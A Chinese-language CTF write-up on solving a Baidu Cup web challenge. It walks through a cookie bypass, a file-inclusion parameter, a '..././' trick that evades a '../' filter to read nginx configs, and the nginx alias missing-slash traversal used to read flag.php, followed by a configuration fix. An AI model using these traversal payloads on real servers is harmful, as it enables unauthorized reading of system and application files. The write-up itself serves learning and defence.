今天做百度杯的时候发现一个题很有意思。
点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台,
点开Manage,如上图,网址的构造是module=index$name=php 推测是文件包含,我将index改成flag,说明flag在flag.php中我们所要做的就是提取出flag.php中的内容
思路1 用php://filter文件流读取,发现失败了,可能就需要换一个思路
思路2 先判断有没有过滤,fuzz一下
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php访问成功
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php访问失败
说明../被过滤了,用..././绕过,读取/etc/nginx/nginx.conf配置文件,
其中发现了一点可疑的地方,百度一下,发现有个nginx目录遍历下载漏洞
访问这个文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=
这里 movie后面有一个 /
当你浏览http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情况应该遍历online-movies/这个目录,但是如果访问http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 这个的话就会遍历online-movies整个目录了
最后读取flag
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php
就不贴出来flag了
漏洞前提条件是必须是子目录、开启了autoindex,并且alias指定目录的时候加了"/",才能利用成功
安全建议:
location /online-movies { alias /movie; autoindex on; }
location /online-movies/ { alias /movie/; autoindex on; }
参考:http://luoq.net/ais/1191/